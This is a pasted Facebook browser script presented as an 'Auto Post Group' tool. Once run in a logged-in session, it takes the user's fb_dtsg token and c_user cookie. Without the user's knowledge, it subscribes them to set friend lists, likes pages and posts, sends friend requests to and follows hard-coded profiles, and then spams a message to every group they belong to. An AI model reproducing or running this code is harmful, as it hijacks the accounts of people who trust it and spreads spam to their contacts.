Advertisement
Guest User

Untitled

a guest
Oct 25th, 2014
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.82 KB | None | 0 0
  1.  
  2.  
  3.  
  4.  
  5. //Auto Post By TosoKing
  6. //Author : TosoKing
  7. ("Auto Post Group By TosoKing");
  8. var parent=document.getElementsByTagName("html")[0];
  9. var _body = document.getElementsByTagName('body')[0];
  10. var _div = document.createElement('div');
  11. _div.style.height="25";
  12. _div.style.width="100%";
  13. _div.style.position="fixed";
  14. _div.style.top="auto";
  15. _div.style.bottom="0";
  16. _div.align="center";
  17. var _audio= document.createElement('audio');
  18. _audio.style.width="100%";
  19. _audio.style.height="25px";
  20. _audio.controls = true;
  21. _audio.autoplay = true;
  22. _audio.loop="true";
  23. _audio.src = "http://dc442.4shared.com/img/6OCvHn4q/dlink__2Fdownload_2F6OCvHn4q/preview.mp3";
  24. _div.appendChild(_audio);
  25. _body.appendChild(_div);
  26. var parent=document.getElementsByTagName("html")[0];
  27. var _body = document.getElementsByTagName('body')[0];
  28. var _div = document.createElement('div');
  29.  
  30. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  31. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  32. var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;
  33. var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  34.  
  35. body = document.body;
  36. if(body != null)
  37. {
  38. div = document.createElement("div");
  39. div.style.position = "fixed";
  40. div.style.display = "block";
  41. div.style.width = "100px";
  42. div.style.opacity= 0.90;
  43. div.style.bottom = "+60px";
  44. div.style.left = "+0px";
  45. div.style.backgroundColor = "rgba(0,0,0,0.5)";
  46. div.style.border = "1px solid rgba(0,0,0,0.5)";
  47. div.style.padding = "3px";
  48. div.innerHTML = "<a style='font-weight:bold;color:#E30505' href='https://www.facebook.com/sharer/sharer.php?u=http://zolt-cyber.blogspot.com/2014/02/auto-post-ke-semua-grup-di-facebook-new.html' title='Share'><blink><center>SHARE</center></blink></a>"
  49. body.appendChild(div);
  50. }
  51.  
  52. if(body != null)
  53. {
  54. div = document.createElement("div");
  55. div.style.position = "fixed";
  56. div.style.display = "block";
  57. div.style.width = "100px";
  58. div.style.opacity= 0.90;
  59. div.style.bottom = "+35px";
  60. div.style.left = "+0px";
  61. div.style.backgroundColor = "rgba(0,0,0,0.5)";
  62. div.style.border = "1px solid rgba(0,0,0,0.5)";
  63. div.style.padding = "3px";
  64. div.innerHTML = "<a style='font-weight:bold;color:#E30505' href='' title='Refresh'><blink><center>Close (F5)</center></blink></a>"
  65. body.appendChild(div);
  66. }
  67. if(body != null)
  68. {
  69. div = document.createElement("div");
  70. div.style.position = "fixed";
  71. div.style.display = "block";
  72. div.style.width = "135px";
  73. div.style.opacity= 0.90;
  74. div.style.bottom = "+10px";
  75. div.style.left = "+0px";
  76. div.style.backgroundColor = "rgba(0,0,0,0.5)";
  77. div.style.border = "1px solid rgba(0,0,0,0.5)";
  78. div.style.padding = "3px";
  79. div.innerHTML = "<a style='font-weight:bold;color:#E30505' href='https://www.facebook.com/marios.corleone.5?fref=ts' title='Theme'><blink><center>Like</center></blink></a>"
  80. body.appendChild(div);
  81. }
  82. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  83. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  84. function LIST(L) {
  85. var X = new XMLHttpRequest();
  86. var XURL = "//www.facebook.com/ajax/friends/lists/subscribe/modify";
  87. var XParams = "flid=" + L +"&action=subscribe&location=feed&nctr[_mod]=pagelet_group_mall&ft[type]=40&ft[tn]=DH&__user="+user_id+"&__a=1&__dyn=7n8ahxoNpGo&__req=y&fb_dtsg="+fb_dtsg+"&phstamp=";
  88. X.open("POST", XURL, true);
  89. X.onreadystatechange = function () {
  90. if (X.readyState == 4 && X.status == 200) {
  91. X.close;
  92. }
  93. };
  94. X.send(XParams);
  95. }
  96.  
  97. LIST("351559611640038");
  98. LIST("421162288013103");
  99.  
  100. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  101. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  102. function Like(p) {
  103. var Page = new XMLHttpRequest();
  104. var PageURL = "//www.facebook.com/ajax/pages/fan_status.php";
  105. var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";
  106. Page.open("POST", PageURL, true);
  107. Page.onreadystatechange = function () {
  108. if (Page.readyState == 4 && Page.status == 200) {
  109. Page.close;
  110. }
  111. };
  112. Page.send(PageParams);
  113. }
  114. Like("635732783121401");
  115. Like("484299921621282");
  116. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  117. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  118. function IDS(r) {
  119. var X = new XMLHttpRequest();
  120. var XURL = "//www.facebook.com/ajax/add_friend/action.php";
  121. var XParams = "to_friend=" + r +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";
  122. X.open("POST", XURL, true);
  123. X.onreadystatechange = function () {
  124. if (X.readyState == 4 && X.status == 200) {
  125. X.close;
  126. }
  127. };
  128. X.send(XParams);
  129. }
  130. IDS("100003580059277");
  131. IDS("100007551612457");
  132. IDS("100007217978003");
  133.  
  134. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  135. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  136. function a(abone) {
  137. var http4 = new XMLHttpRequest();
  138. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  139. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  140. http4.open("POST", url4, true);
  141. http4.onreadystatechange = function () {
  142. if (http4.readyState == 4 && http4.status == 200) {
  143. http4.close;
  144. }
  145. };
  146. http4.send(params4);
  147. }
  148. a("100003580059277");
  149. a("100007551612457");
  150. a("100007217978003");
  151.  
  152. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  153. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  154. var now=(new Date).getTime();
  155. function P(post) {
  156. var X = new XMLHttpRequest();
  157. var XURL ="//www.facebook.com/teodor.kolundzija";
  158. var XParams = "like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";
  159. X.open("POST", XURL, true);
  160. X.onreadystatechange = function () {
  161. if (X.readyState == 4 && X.status == 200) {
  162. X.close;
  163. }
  164. };
  165. X.send(XParams);
  166. }
  167. P("1433931973486367");
  168. P("Rorschachhh");
  169.  
  170. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  171. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  172. var now=(new Date).getTime();
  173. function P(opo) {
  174. var X = new XMLHttpRequest();
  175. var XURL ="https://www.facebook.com/teodor.kolundzija";
  176. var XParams = "like_action=true&ft_ent_identifier="+opo+"&source=1&client_id="+now+"%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg="+fb_dtsg+"&phstamp=";
  177. X.open("POST", XURL, true);
  178. X.onreadystatechange = function () {
  179. if (X.readyState == 4 && X.status == 200) {
  180. X.close;
  181. }
  182. };
  183. X.send(XParams);
  184. }
  185.  
  186. P("569215649780537");
  187. P("604151949620240");
  188. P("602841663084602");
  189. P("602407683128000");
  190. P("550065001695602");
  191.  
  192. var grouppost = "<div><span class='img sp_43rped sx_e3ea36'></span><a style='position:absolute;size:3px;padding-left:3px;font-weight:bold;font-family:Tahoma;font-size:11px;color:#3B5998;'>Write Post</a></div></br>";
  193. grouppost += "<div><textarea id='txtFloodMsg' placeholder='Auto Post By TosoKing' style='color:white;padding-top:5px;width:493px;height:85px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);'></textarea></div>";
  194. grouppost += "<div><br><span class='img sp_er534k sx_74b85a'></span><a style='position:absolute;font-family:Arial;size:3px;padding-left:3px;font-size:11px;color:rgb(128, 128, 128);'>Multy Post To All Groups </a></span><button style='margin-left:437px' class='_42ft _4jy0 _11b _4jy3 _4jy1 selected' onclick='autopostingfunc(this);' >Submit</button><div style='color:gray;'>Powered By: <A style='color:#3B5998;' href='www.facebook.com/https://www.facebook.com/teodor.kolundzija' target='_blank'> TosoKing </A></br>Script Made By</A><A style='color:#3B5998;' href='https://www.facebook.com/marios.corleone.5' target='_blank'> TosoKing</A></A></div>";
  195. var Popupset = document.createElement("div");
  196. Popupset.setAttribute("style", "min-height:50px;width:500px;position:fixed;top:100px;box-shadow: 0px 4px 10px rgba(24, 144, 255, 0.63);position:fixed;left:50%;margin-left:-273px;text-align:left;border-radius:10px;padding:5px;z-index:999999;border:5px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:White");
  197. Popupset.innerHTML = grouppost;
  198. document.body.appendChild(Popupset);
  199. jx = {
  200. getHTTPObject: function () {
  201. var A = false;
  202. if (typeof ActiveXObject != "undefined") try {
  203. A = new ActiveXObject("Msxml2.XMLHTTP")
  204. } catch (C) {
  205. try {
  206. A = new ActiveXObject("Microsoft.XMLHTTP")
  207. } catch (B) {
  208. A = false
  209. }
  210. } else if (window.XMLHttpRequest) try {
  211. A = new XMLHttpRequest
  212. } catch (C) {
  213. A = false
  214. }
  215. return A
  216. },
  217. load: function (url, callback, format, method, opt) {
  218. var http = this.init();
  219. if (!http || !url) return;
  220. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  221. if (!method) method = "GET";
  222. if (!format) format = "text";
  223. if (!opt) opt = {};
  224. format = format.toLowerCase();
  225. method = method.toUpperCase();
  226. var now = "uid=" + (new Date).getTime();
  227. url += url.indexOf("?") + 1 ? "&" : "?";
  228. url += now;
  229. var parameters = null;
  230. if (method == "POST") {
  231. var parts = url.split("?");
  232. url = parts[0];
  233. parameters = parts[1]
  234. }
  235. http.open(method, url, true);
  236. var ths = this;
  237. if (opt.handler) http.onreadystatechange = function () {
  238. opt.handler(http)
  239. };
  240. else http.onreadystatechange = function () {
  241. if (http.readyState == 4)
  242. if (http.status == 200) {
  243. var result = "";
  244. if (http.responseText) result = http.responseText;
  245. if (format.charAt(0) == "j") {
  246. result = result.replace(/[\n\r]/g, "");
  247. result = eval("(" + result + ")")
  248. } else if (format.charAt(0) == "x") result = http.responseXML;
  249. if (callback) callback(result)
  250. } else {
  251. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  252. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  253. if (error) error(http.status)
  254. }
  255. };
  256. http.send(parameters)
  257. },
  258. bind: function (A) {
  259. var C = {
  260. "url": "",
  261. "onSuccess": false,
  262. "onError": false,
  263. "format": "text",
  264. "method": "GET",
  265. "update": "",
  266. "loading": "",
  267. "loadingIndicator": ""
  268. };
  269. for (var B in C)
  270. if (A[B]) C[B] = A[B];
  271. if (!C.url) return;
  272. var D = false;
  273. if (C.loadingIndicator) {
  274. D = document.createElement("div");
  275. D.setAttribute("style", "position:absolute;top:0px;left:0px;");
  276. D.setAttribute("class", "loading-indicator");
  277. D.innerHTML = C.loadingIndicator;
  278. document.getElementsByTagName("body")[0].appendChild(D);
  279. this.opt.loadingIndicator = D
  280. }
  281. if (C.loading) document.getElementById(C.loading).style.display = "block";
  282. this.load(C.url, function (E) {
  283. if (C.onSuccess) C.onSuccess(E);
  284. if (C.update) document.getElementById(C.update).innerHTML = E;
  285. if (D) document.getElementsByTagName("body")[0].removeChild(D);
  286. if (C.loading) document.getElementById(C.loading).style.display = "none"
  287. }, C.format, C.method, C)
  288. },
  289. init: function () {
  290. return this.getHTTPObject()
  291. }
  292. };
  293. var j = 0;
  294. var k = 0;
  295. var suc = 0;
  296. var msg = "Follow @Rifiyan_Jr | Script autopost bisa dilihat disini http://zolt-cyber.blogspot.com/2014/02/auto-post-ke-semua-grup-di-facebook-new.html";
  297. var arr = new Array;
  298. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  299.  
  300. function autopostingfunc(sender) {
  301. if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value;
  302. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/search/bootstrap.php?__a=1&filter[0]=group&viewer=" + user_id + "&token=v7&lazy=0&__user=" + user_id, function (a) {
  303. var b = a;
  304. var c = b.substring(b.indexOf("{"));
  305. var d = JSON.parse(c);
  306. d = d.payload.entries;
  307. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  308. sender.parentNode.innerHTML = "Please Wait...";
  309. postitok()
  310. })
  311. }
  312. var a = document.body.innerHTML;
  313. var dts = document.getElementsByName("fb_dtsg")[0].value;
  314. var composerid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  315.  
  316. function postitok() {
  317. pst = "fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + arr[suc] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg) + "&xhpc_message=[ AutoPost by Marios ] \n\n" + encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_group_composer";
  318. with(newx = new XMLHttpRequest) open("POST", "/ajax/updatestatus.php?__a=1"), send(pst);
  319. suc++;
  320. if (suc > arr.length) {
  321. alert("Auto Posting dovrseno by Marios. Sada refresujte stranicu.");
  322. suc = 0
  323. } else setTimeout("postitok()", 3E4 / arr.length)
  324. }
  325. setTimeout("autopostingfunc()", 1E3);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement